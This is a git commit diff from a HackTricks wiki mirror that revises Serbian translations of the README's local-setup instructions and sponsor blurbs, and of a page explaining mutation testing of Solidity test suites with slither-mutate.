mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/blockchain/smart-contract-security/mutation-testing
This commit is contained in:
parent
50762a0ac5
commit
a7a9893eff
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
_Hacktricks logotipi i motion dizajn od_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logotipi i motion dizajn od_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
### Pokretanje HackTricks lokalno
|
### Pokrenite HackTricks lokalno
|
||||||
```bash
|
```bash
|
||||||
# Download latest version of hacktricks
|
# Download latest version of hacktricks
|
||||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||||
@ -31,15 +31,15 @@ export LANG="master" # Leave master for english
|
|||||||
# Run the docker container indicating the path to the hacktricks folder
|
# Run the docker container indicating the path to the hacktricks folder
|
||||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||||
```
|
```
|
||||||
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
|
Vaša lokalna kopija HackTricks biće **available at [http://localhost:3337](http://localhost:3337)** za manje od 5 minuta (potrebno je da se knjiga izgradi, budite strpljivi).
|
||||||
|
|
||||||
## Corporate Sponsors
|
## Korporativni sponzori
|
||||||
|
|
||||||
### [STM Cyber](https://www.stmcyber.com)
|
### [STM Cyber](https://www.stmcyber.com)
|
||||||
|
|
||||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HACK THE UNHACKABLE**. Oni sprovode sopstvena istraživanja i razvijaju svoje hacking alate kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** kao što su pentesting, Red teams i obuke.
|
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HACK THE UNHACKABLE**. Oni sprovode sopstvena istraživanja i razvijaju sopstvene hacking alate kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** kao što su pentesting, Red teams i obuka.
|
||||||
|
|
||||||
Možete pogledati njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
Možete pogledati njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
@ -51,7 +51,7 @@ Možete pogledati njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||||||
|
|
||||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj za sajber bezbednost u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres predstavlja vrelu tačku susreta za profesionalce iz tehnologije i sajber bezbednosti u svim disciplinama.
|
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj iz oblasti sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vreli susret za profesionalce iz tehnologije i sajber bezbednosti u svim disciplinama.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.rootedcon.com/
|
https://www.rootedcon.com/
|
||||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
|||||||
|
|
||||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** je **Europe's #1** ethical hacking i **bug bounty platform.**
|
**Intigriti** je vodeća platforma za ethical hacking i bug bounty u Evropi.
|
||||||
|
|
||||||
**Bug bounty tip**: **registrujte se** na **Intigriti**, premium **bug bounty platformu kreiranu od strane hackera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) već danas i počnite da zarađujete nagrade do **$100,000**!
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite zarađivati nagrade do **$100,000**!
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://go.intigriti.com/hacktricks
|
https://go.intigriti.com/hacktricks
|
||||||
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
|
|||||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da lako gradite i **automatizujete workflows** pokretane najnaprednijim alatima zajednice.
|
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da lako gradite i **automatizujete workflows** pokretane najnaprednijim alatima iz zajednice.
|
||||||
|
|
||||||
Get Access Today:
|
Get Access Today:
|
||||||
|
|
||||||
@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
|||||||
|
|
||||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server da komunicirate sa iskusnim hackerima i bug bounty lovcima!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
- **Hacking Insights:** Angažujte se sa sadržajem koji ulazi u uzbuđenje i izazove hacking-a
|
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
|
||||||
- **Real-Time Hack News:** Budite u toku sa brzim vestima iz sveta hack-a i uvidima u realnom vremenu
|
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||||
- **Latest Announcements:** Ostanite informisani o najnovijim bug bounty pokretanjima i važnim ažuriranjima platforme
|
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hackerima već danas!
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -108,7 +108,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server da
|
|||||||
|
|
||||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||||
|
|
||||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Koristite naših 20+ prilagođenih alata da mapirate attack surface, pronađete sigurnosne probleme koji omogućavaju eskalaciju privilegija, i koristite automatizovane exploite da prikupite ključne dokaze, pretvarajući vaš rad u ubedljive izveštaje.
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Koristite naših 20+ prilagođenih alata da mapirate the attack surface, pronađete sigurnosne probleme koji omogućavaju eskalaciju privilegija, i koristite automated exploits da prikupite ključne dokaze, pretvarajući vaš naporan rad u ubedljive izveštaje.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -120,12 +120,12 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
|||||||
|
|
||||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**SerpApi** nudi brze i jednostavne real-time API-je za **access search engine results**. Oni skrejpu search engine-e, rešavaju proxy probleme, rešavaju captche, i parsiraju sve bogate strukturirane podatke za vas.
|
**SerpApi** nudi brze i jednostavne real-time APIs za pristup rezultatima pretrage. Oni scrape-uju pretraživače, upravljaju proxy-ima, rešavaju captchas, i parsiraju sve bogate strukturirane podatke za vas.
|
||||||
|
|
||||||
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za skrejpovanje različitih search engine-a, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za scraping različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||||
Za razliku od drugih provajdera, **SerpApi ne skrepuje samo organic rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video, knowledge graphs i druge elemente i funkcije prisutne u rezultatima pretrage.
|
Za razliku od drugih provajdera, **SerpApi ne samo da skrepuje organic results**. Odgovori SerpApi-a dosledno uključuju sve oglase, inline slike i video zapise, knowledge graphs i ostale elemente i funkcije prisutne u rezultatima pretrage.
|
||||||
|
|
||||||
Trenutni SerpApi korisnici uključuju **Apple, Shopify, and GrubHub**.\
|
Među trenutnim SerpApi korisnicima su **Apple, Shopify, i GrubHub**.\
|
||||||
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
|
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
|
||||||
Možete **kreirati besplatan nalog** [**ovde**](https://serpapi.com/users/sign_up)**.**
|
Možete **kreirati besplatan nalog** [**ovde**](https://serpapi.com/users/sign_up)**.**
|
||||||
|
|
||||||
@ -135,7 +135,7 @@ Možete **kreirati besplatan nalog** [**ovde**](https://serpapi.com/users/sign_u
|
|||||||
|
|
||||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Naučite tehnologije i veštine potrebne za izvođenje vulnerability research, penetration testing i reverse engineering-a kako biste štitili mobilne aplikacije i uređaje. **Usavršite iOS i Android security** kroz naše on-demand kurseve i **osvojite sertifikat**:
|
Naučite tehnologije i veštine potrebne za izvođenje vulnerability research, penetration testing, i reverse engineering kako biste zaštitili mobilne aplikacije i uređaje. **Savladajte iOS i Android security** kroz naše on-demand kurseve i **dobijte sertifikat**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://academy.8ksec.io/
|
https://academy.8ksec.io/
|
||||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
|||||||
|
|
||||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.net) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** preduzeća ** širom sveta** protiv najnovijih prijetnji pružajući **offensive-security services** sa **modernim** pristupom.
|
[**WebSec**](https://websec.net) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** biznisa **široko po svetu** od najnovijih sajber pretnji pružajući **offensive-security services** sa **modernim** pristupom.
|
||||||
|
|
||||||
WebSec je internacionalna security kompanija sa kancelarijama u Amsterdamu i Wyoming-u. Nude **all-in-one security services** što znači da rade sve; Pentesting, **Security** Audite, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing i mnogo više.
|
WebSec je internacionalna security kompanija sa kancelarijama u Amsterdamu i Wyoming-u. Oni nude **all-in-one security services** što znači da rade sve; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing i mnogo više.
|
||||||
|
|
||||||
Još jedna dobra stvar kod WebSec-a je što, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuju najbolje rezultate**, kako stoji na njihovom sajtu "**If we can't hack it, You don't pay it!**". Za više informacija pogledajte njihov [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)!
|
Još jedna sjajna stvar u vezi sa WebSec je da, za razliku od proseka u industriji, WebSec je **veoma samouveren u svoje veštine**, do te mere da **garantuju najbolje rezultate**, kako stoji na njihovom sajtu "**If we can't hack it, You don't pay it!**". Za više informacija pogledajte njihov [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)!
|
||||||
|
|
||||||
Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.**
|
Pored svega navedenog, WebSec je takođe **posvećeni podržavalac HackTricks.**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
|||||||
|
|
||||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) je search engine za data breach (leak). \
|
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) je data breach (leak) search engine. \
|
||||||
Pružamo random string search (kao google) preko svih tipova data leaks velikih i malih --ne samo velikih-- preko podataka iz više izvora. \
|
Pružamo random string search (kao google) preko svih tipova data leaks velikih i malih --ne samo velikih-- preko podataka iz više izvora. \
|
||||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, sve funkcije koje pentester treba.\
|
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, sve funkcije koje pentester treba.\
|
||||||
**HackTricks nastavlja da bude sjajna learning platforma za sve nas i ponosni smo što je sponzorišemo!**
|
**HackTricks i dalje predstavlja odličnu platformu za učenje za sve nas i ponosni smo što je sponzorišemo!**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
|||||||
|
|
||||||
|
|
||||||
**Built for the field. Built around you.**\
|
**Built for the field. Built around you.**\
|
||||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) razvija i isporučuje efektivne cybersecurity treninge koje vode i kreiraju eksperti iz industrije. Njihovi programi idu dalje od teorije kako bi opremili timove dubokim razumevanjem i praktičnim veštinama, koristeći prilagođena okruženja koja odražavaju stvarne pretnje.
|
[**Cyber Helmets**](https://cyberhelmets.com/courses/?ref=hacktricks) razvija i isporučuje efikasnu cybersecurity obuku kreiranu i vođenu od strane stručnjaka iz industrije. Njihovi programi idu dalje od teorije kako bi opremili timove dubokim razumevanjem i primenljivim veštinama, koristeći prilagođena okruženja koja odražavaju realne pretnje.
|
||||||
Za upite o custom treninzima, obratite nam se [**ovde**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
Za upite o prilagođenim treninzima, kontaktirajte nas [**ovde**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||||
|
|
||||||
**Šta izdvaja njihove treninge:**
|
**Šta izdvaja njihovu obuku:**
|
||||||
* Custom-built content i labovi
|
* Prilagođen sadržaj i laboratorije
|
||||||
* Podržano od strane vrhunskih alata i platformi
|
* Podržano vrhunskim alatima i platformama
|
||||||
* Dizajnirano i predavano od strane praktičara
|
* Dizajnirano i predavano od strane praktičara
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -203,11 +203,11 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
|||||||
Last Tower Solutions pruža specijalizovane usluge sajber bezbednosti za **Education** i **FinTech**
|
Last Tower Solutions pruža specijalizovane usluge sajber bezbednosti za **Education** i **FinTech**
|
||||||
institucije, sa fokusom na **penetration testing, cloud security assessments**, i
|
institucije, sa fokusom na **penetration testing, cloud security assessments**, i
|
||||||
**compliance readiness** (SOC 2, PCI-DSS, NIST). Naš tim uključuje **OSCP and CISSP
|
**compliance readiness** (SOC 2, PCI-DSS, NIST). Naš tim uključuje **OSCP and CISSP
|
||||||
sertifikovane profesionalce**, donoseći duboku tehničku ekspertizu i industrijski utemeljene uvide u
|
certified professionals**, koji donose duboku tehničku ekspertizu i uvid u industrijske standarde u
|
||||||
svaki angažman.
|
svakom angažmanu.
|
||||||
|
|
||||||
Mi prelazimo preko automatizovanih skeniranja sa **manual, intelligence-driven testing** prilagođenim
|
Mi idemo dalje od automatizovanih skeniranja sa **manual, intelligence-driven testing** prilagođenim
|
||||||
okruženjima visokog rizika. Od zaštite studentskih podataka do zaštite finansijskih transakcija,
|
za okruženja visokog rizika. Od zaštite studentskih podataka do očuvanja finansijskih transakcija,
|
||||||
pomažemo organizacijama da brane ono što je najvažnije.
|
pomažemo organizacijama da brane ono što je najvažnije.
|
||||||
|
|
||||||
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||||
@ -222,11 +222,11 @@ https://www.lasttowersolutions.com/
|
|||||||
|
|
||||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||||
|
|
||||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
K8Studio IDE omogućava DevOps, DevSecOps i developerima da upravljaju, nadgledaju i štite Kubernetes clustere efikasno. Iskoristite naše AI-driven uvide, napredni security framework i intuitivni CloudMaps GUI da vizualizujete svoje clustere, razumete njihov status i delujete sa poverenjem.
|
K8Studio IDE omogućava DevOps, DevSecOps i developerima da efikasno upravljaju, nadgledaju i osiguraju Kubernetes klastere. Iskoristite naše AI-driven uvide, napredni security framework i intuitivni CloudMaps GUI da vizualizujete vaše klastere, razumete njihovo stanje i delujete sa samopouzdanjem.
|
||||||
|
|
||||||
Štaviše, K8Studio je **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
Pored toga, K8Studio je **kompatibilan sa svim glavnim kubernetes distribucijama** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift i više).
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://k8studio.io/
|
https://k8studio.io/
|
||||||
@ -237,7 +237,7 @@ https://k8studio.io/
|
|||||||
|
|
||||||
## License & Disclaimer
|
## License & Disclaimer
|
||||||
|
|
||||||
Check them in:
|
Proverite ih u:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
welcome/hacktricks-values-and-faq.md
|
welcome/hacktricks-values-and-faq.md
|
||||||
|
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Mutation testing "tests your tests" tako što sistematski uvodi male promene (mutants) u vaš Solidity код и поново покреће ваш test suite. Ако тест не успе, mutant је killed. Ако тестови и даље пролазе, mutant преживи, откривајући слепу тачку у вашем test suite коју line/branch coverage не може да детектује.
|
Mutation testing "tests your tests" tako što sistematski uvodi male promene (mutante) u vaš Solidity kod i ponovo pokreće vaš skup testova. Ako test padne, mutant se smatra ubijenim. Ako testovi i dalje prolaze, mutant preživi, otkrivajući slepu tačku u vašem skupu testova koju linijsko/gransko pokriće ne može detektovati.
|
||||||
|
|
||||||
Key idea: Coverage показује да је код извршен; mutation testing показује да ли је понашање заиста потврђено.
|
Ključna ideja: pokriće pokazuje da je kod izvršen; mutation testing pokazuje da li je ponašanje zaista provereno.
|
||||||
|
|
||||||
## Zašto coverage може зaварaти
|
## Zašto pokriće može zavarati
|
||||||
|
|
||||||
Размотрите ову једноставну проверу прага:
|
Razmotrite ovu jednostavnu proveru praga:
|
||||||
```solidity
|
```solidity
|
||||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||||
if (deposit >= 1 ether) {
|
if (deposit >= 1 ether) {
|
||||||
@ -18,94 +18,94 @@ return false;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Jedinični testovi koji proveravaju samo vrednost ispod i vrednost iznad praga mogu dostići 100% pokrivenost linija/grana, a ipak ne potvrditi granicu jednakosti (==). Refaktorisanje u `deposit >= 2 ether` i dalje bi prošlo takve testove, neprimetno narušivši logiku protokola.
|
Jedinični testovi koji proveravaju samo vrednost ispod i vrednost iznad praga mogu dostići 100% line/branch coverage, a da ne asertuju granicu jednakosti (==). Refaktor u `deposit >= 2 ether` bi i dalje prošao takve testove, tiho kvareći logiku protokola.
|
||||||
|
|
||||||
Mutaciono testiranje otkriva ovaj nedostatak mutiranjem uslova i proverom da li testovi zakažu.
|
Mutation testing otkriva ovaj prazninu mutiranjem uslova i proverom da li vaši testovi zakažu.
|
||||||
|
|
||||||
## Uobičajeni mutacioni operatori za Solidity
|
## Common Solidity mutation operators
|
||||||
|
|
||||||
Slither-ov mehanizam za mutacije primenjuje mnoge male izmene koje menjaju semantiku, kao što su:
|
Slither’s mutation engine primenjuje mnogo malih izmena koje menjaju semantiku, kao što su:
|
||||||
- Zamena operatora: `+` ↔ `-`, `*` ↔ `/`, etc.
|
- Zamena operatora: `+` ↔ `-`, `*` ↔ `/`, itd.
|
||||||
- Zamena dodele: `+=` → `=`, `-=` → `=`
|
- Zamena dodele: `+=` → `=`, `-=` → `=`
|
||||||
- Zamena konstanti: nenulta → `0`, `true` ↔ `false`
|
- Zamena konstanti: non-zero → `0`, `true` ↔ `false`
|
||||||
- Negacija/zamena uslova unutar `if`/petlji
|
- Negacija/izmena uslova unutar `if`/petlji
|
||||||
- Zakomentarisati cele linije (CR: Comment Replacement)
|
- Zakomentarisati cele linije (CR: Comment Replacement)
|
||||||
- Zameniti liniju sa `revert()`
|
- Zameniti liniju sa `revert()`
|
||||||
- Zamena tipova podataka: npr. `int128` → `int64`
|
- Zamene tipova podataka: npr. `int128` → `int64`
|
||||||
|
|
||||||
Cilj: eliminisati 100% generisanih mutanata, ili opravdati preživele jasnim obrazloženjem.
|
Cilj: Ugasiti 100% generisanih mutanata, ili opravdati preživele jasnim obrazloženjem.
|
||||||
|
|
||||||
## Pokretanje mutacionog testiranja sa slither-mutate
|
## Running mutation testing with slither-mutate
|
||||||
|
|
||||||
Zahtevi: Slither v0.10.2+.
|
Zahtevi: Slither v0.10.2+.
|
||||||
|
|
||||||
- Prikaži opcije i mutatore:
|
- List options and mutators:
|
||||||
```bash
|
```bash
|
||||||
slither-mutate --help
|
slither-mutate --help
|
||||||
slither-mutate --list-mutators
|
slither-mutate --list-mutators
|
||||||
```
|
```
|
||||||
- Foundry primer (zabeleži rezultate i vodi kompletan log):
|
- Foundry example (uhvati rezultate i sačuvaj kompletan log):
|
||||||
```bash
|
```bash
|
||||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||||
```
|
```
|
||||||
- Ako ne koristite Foundry, zamenite `--test-cmd` načinom na koji pokrećete testove (npr. `npx hardhat test`, `npm test`).
|
- Ako ne koristite Foundry, zamenite `--test-cmd` načinom na koji pokrećete testove (npr. `npx hardhat test`, `npm test`).
|
||||||
|
|
||||||
Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neotkriveni (preživeli) mutanti se tamo kopiraju radi inspekcije.
|
Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neotkriveni (preživeli) mutanti se kopiraju tamo radi inspekcije.
|
||||||
|
|
||||||
### Razumevanje izlaza
|
### Understanding the output
|
||||||
|
|
||||||
Linije izveštaja izgledaju ovako:
|
Redovi izveštaja izgledaju ovako:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:Mutating contract ContractName
|
INFO:Slither-Mutate:Mutating contract ContractName
|
||||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
- Oznaka u uglastim zagradama je alias mutatora (npr., `CR` = Comment Replacement).
|
- Oznaka u uglastim zagradama je alias mutatora (npr. `CR` = Comment Replacement).
|
||||||
- `UNCAUGHT` znači da su testovi prošli pod mutiranim ponašanjem → nedostaje asercija.
|
- `UNCAUGHT` znači da su testovi prošli pod mutiranim ponašanjem → nedostaje asercija.
|
||||||
|
|
||||||
## Smanjivanje vremena izvršavanja: prioritizujte mutante sa najvećim uticajem
|
## Reducing runtime: prioritize impactful mutants
|
||||||
|
|
||||||
Kampanje mutacije mogu trajati satima ili danima. Saveti za smanjenje troškova:
|
Mutation kampanje mogu trajati satima ili danima. Saveti za smanjenje troškova:
|
||||||
- Opseg: Počnite samo sa kritičnim ugovorima/direktorijumima, pa zatim proširite.
|
- Scope: Počnite sa kritičnim contracts/directories samo, pa proširite.
|
||||||
- Prioritetizujte mutatore: Ako mutant visokog prioriteta na liniji preživi (npr., cela linija je zakomentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju.
|
- Prioritize mutators: Ako mutant visokog prioriteta na liniji preživi (npr. cela linija zakomentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju.
|
||||||
- Paralelizujte testove ako vaš runner to omogućava; keširajte zavisnosti i build-ove.
|
- Paralelizujte testove ako vaš runner to dozvoljava; cache-ujte dependencies/builds.
|
||||||
- Fail-fast: zaustavite se rano kada promena jasno demonstrira prazninu u asercijama.
|
- Fail-fast: zaustavite rano kada promena jasno demonstrira prazninu u asercijama.
|
||||||
|
|
||||||
## Radni tok trijaže za mutante koji prežive
|
## Triage workflow for surviving mutants
|
||||||
|
|
||||||
1) Pregledajte mutiranu liniju i ponašanje.
|
1) Inspect the mutated line and behavior.
|
||||||
- Reproducirajte lokalno primenom mutirane linije i pokretanjem fokusiranog testa.
|
- Reproducirajte lokalno primenom mutirane linije i pokretanjem fokusiranog testa.
|
||||||
|
|
||||||
2) Ojačajte testove tako da proveravaju stanje, a ne samo povratne vrednosti.
|
2) Strengthen tests to assert state, not only return values.
|
||||||
- Dodajte provere granica jednakosti (npr., test threshold `==`).
|
- Dodajte provere granica jednakosti (npr. test threshold `==`).
|
||||||
- Proverite post-uslove: bilansi, total supply, efekti autorizacije i emitovani događaji.
|
- Asertujte post-uslove: balances, total supply, efekte autorizacije i emitovane događaje.
|
||||||
|
|
||||||
3) Zamenite previše permisivne mock-ove realističnim ponašanjem.
|
3) Replace overly permissive mocks with realistic behavior.
|
||||||
- Osigurajte da mock-ovi nameću transfere, puteve greške i emitovanje događaja koji se dešavaju on-chain.
|
- Osigurajte da mocks forsiraju transfers, failure paths i event emissions koji se dešavaju on-chain.
|
||||||
|
|
||||||
4) Dodajte invarijante za fuzz testove.
|
4) Add invariants for fuzz tests.
|
||||||
- Npr., očuvanje vrednosti, nenegativni saldi, invarijante autorizacije, monotonost supply-a gde je primenljivo.
|
- Npr. očuvanje vrednosti, nenegativni balances, invarianti autorizacije, monotonic supply gde je primenjivo.
|
||||||
|
|
||||||
5) Ponovo pokrenite slither-mutate dok preživeli ne budu uklonjeni ili dok se eksplicitno ne opravdaju.
|
5) Re-run slither-mutate until survivors are killed or explicitly justified.
|
||||||
|
|
||||||
## Studija slučaja: otkrivanje nedostajućih asercija stanja (Arkis protocol)
|
## Case study: revealing missing state assertions (Arkis protocol)
|
||||||
|
|
||||||
Kampanja mutacije tokom audita Arkis DeFi protocola je identifikovala preživele, kao što su:
|
A mutation campaign during an audit of the Arkis DeFi protocol surfaced survivors like:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
